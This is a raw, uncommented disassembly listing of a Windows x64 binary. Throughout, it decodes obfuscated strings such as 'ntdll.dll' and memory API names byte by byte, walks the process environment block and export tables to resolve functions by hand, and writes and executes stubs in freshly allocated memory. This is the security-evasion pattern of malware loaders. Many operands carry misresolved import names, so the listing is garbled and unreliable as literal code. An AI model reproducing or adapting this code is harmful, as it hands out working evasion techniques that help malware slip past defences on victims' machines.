mov dl, 0x61
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5ad], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5ae], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5af], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5b0], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5b1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5b2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5b3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + 0x5b4], al
xor eax, eax
mov byte [rbp + 0x5b5], al
mov edi, eax
lea r13d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5a1]
lea rcx, [rbp + 0x5a0]
call fcn.140037880
mov byte [rbp + rdi + 0x5a1], al
add rdi, r13
cmp rdi, rsi
jb 0x1400288b1
xor edi, edi
mov byte [rbp + 0x5b5], dil
mov byte [rbp + 0x100], Ordinal_32
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x101], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x102], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x103], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x104], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x105], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x106], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x107], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x108], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + 0x109], al
xor eax, eax
mov byte [rbp + 0x10a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x101]
lea rcx, [rbp + 0x100]
call fcn.140037108
mov byte [rbp + rdi + 0x101], al
add rdi, r14
cmp rdi, 9
jb 0x1400289f1
mov r14d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x10a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140028b4b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140028ac7
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x140028a9a
mov r15d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140028b23
mov rax, rcx
lea r9, [rbp + 0x101]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140028b1c
add rax, r11
test edx, edx
jne 0x140028b07
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002906e
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x140028a50
mov dword [rbp - 0x60], r9d
mov byte [rbp + 0x5e8], reloc.WLDAP32.dll_Ordinal_35
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5e9], al
mov r9, rsi
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5ea], al
mov r9, rsi
lea r8d, [r13 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5eb], al
mov r9, rsi
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5ec], al
mov r9, rsi
lea r8d, [r13 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5ed], al
mov r9, rsi
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5ee], al
mov r9, rsi
lea r8d, [r13 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5ef], al
mov r9, rsi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f0], al
mov r9, rsi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f1], al
mov r9, rsi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f2], al
mov r9, rsi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f3], al
mov r9, rsi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f4], al
mov r9, rsi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f5], al
mov r9, rsi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f6], al
mov r9, rsi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f7], al
mov r9, rsi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f8], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5f9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5fa], al
mov r9, rsi
lea r8d, [r13 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5fb], al
mov r9, rsi
lea r8d, [r13 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + 0x5fc], al
xor eax, eax
mov byte [rbp + 0x5fd], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5e9]
lea rcx, [rbp + 0x5e8]
call fcn.140037880
mov byte [rbp + rdi + 0x5e9], al
add rdi, r13
cmp rdi, rsi
jb 0x140028d7e
xor edi, edi
mov byte [rbp + 0x5fd], dil
mov byte [rbp + 0x180], 0x58
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x181], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x182], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x183], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x184], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x185], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x186], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x187], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x188], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + 0x189], al
xor eax, eax
mov byte [rbp + 0x18a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x181]
lea rcx, [rbp + 0x180]
call fcn.140037108
mov byte [rbp + rdi + 0x181], al
add rdi, r14
cmp rdi, 9
jb 0x140028ebe
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x18a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x140029010
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], edi
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140028f8d
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x140028f60
mov r15d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140028fe9
mov rax, rcx
lea r9, [rbp + 0x181]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140028fe2
add rax, r11
test edx, edx
jne 0x140028fcd
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
test dil, dil
jne 0x1400292c1
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x140028f1a
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x14002e84f
test eax, eax
js 0x14002e84f
mov r8, qword [rbp - 0x28]
cmp qword [r8], rdi
jge 0x140029514
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14002b950
mov rax, qword [rbp - 0x28]
movzx edx, word [rax]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xf50]
sub rcx, rdi
add rax, rcx
mov rcx, qword [rbp - 0x28]
mov qword [rcx], rax
jmp 0x14002b950
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140028b4b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028b4b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028b4b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028b4b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140028b4b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5a1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140029100
inc rax
test edi, edi
jne 0x1400290eb
xor r9d, r9d
test r8d, r8d
je 0x140029116
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400290da
jmp 0x140028b4b
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140028b4b
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140028b4b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x197f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x18470]
call fcn.14003804c
lea rcx, [rbp + 0x18470]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x18470]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x32550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x1400291bc
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x32550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xed0], eax
lea r9, [rbp + 0xed0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x28550]
mov rdx, qword [rbp + 0xc28]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xed0]
mov r8d, dword [rbp + 0xed0]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
jmp 0x140028b4f
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140029010
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029010
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140029010
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140029010
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140029010
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5e9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140029354
inc rax
test edi, edi
jne 0x14002933f
xor edi, edi
test r8d, r8d
je 0x140029369
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002932e
jmp 0x140029010
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140029010
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140029010
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140095f90
or dword [rbp + 0x1ab84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x19800]
call fcn.14003804c
lea rcx, [rbp + 0x19800]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x19800]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x33550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002940d
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x33550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xecc], eax
lea r9, [rbp + 0xecc]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x28550]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xecc]
mov r8d, dword [rbp + 0xecc]
mov edx, 0x1000
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400f1364], edi
mov eax, dword [rsp + 0x60]
jmp 0x140029012
mov rcx, qword [rbp - 8]
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea rdi, [rdx + rcx*8]
jmp 0x14002954b
mov ecx, dword [rdx + 0xc]
cmp qword [r8], rcx
jb 0x140029547
mov eax, dword [rdx + 8]
add eax, ecx
cmp qword [r8], rax
jb 0x14002a3ce
add rdx, 0x28
cmp rdx, rdi
jb 0x140029531
xor eax, eax
mov edx, eax
add rdx, 2
lea rcx, [rbp + 0x1000]
call fcn.140037e90
mov rax, qword [rbp + 0xc28]
mov qword [rbp + 0x282c6], rax
mov rax, qword [rbp + 0xf50]
mov qword [rbp + 0x282d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x282da], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x282e6], rax
mov rax, qword [rbp + 0x1010]
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x1000]
call fcn.140037bec
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x5d0], 0x5c
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d1], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d2], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d3], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d4], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d5], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d6], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d7], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d8], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5d9], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5da], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5db], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5dc], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5dd], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5de], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5df], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5e0], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5e1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5e2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5e3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + 0x5e4], al
xor eax, eax
mov byte [rbp + 0x5e5], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5d1]
lea rcx, [rbp + 0x5d0]
call fcn.140037880
mov byte [rbp + rdi + 0x5d1], al
add rdi, rbx
cmp rdi, rsi
jb 0x140029803
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x5e5], dil
mov byte [rbp + 0x190], 2
lea r13d, [rbx - 8]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x191], al
mov r9d, r13d
lea r13d, [rbx - 0x10]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x192], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x193], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x194], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x195], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x196], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x197], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x198], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + 0x199], al
xor eax, eax
mov byte [rbp + 0x19a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x191]
lea rcx, [rbp + 0x190]
call fcn.140037108
mov byte [rbp + rdi + 0x191], al
add rdi, r13
cmp rdi, 9
jb 0x140029948
xor r9d, r9d
mov byte [rbp + 0x19a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140029a9c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140029a18
lea r14d, [rax + 1]
mov r10d, r14d
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x1400299eb
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140029a74
mov rax, rcx
lea r9, [rbp + 0x191]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140029a6d
add rax, r11
test edx, edx
jne 0x140029a58
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002a3e3
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400299a1
mov dword [rbp - 0x60], r9d
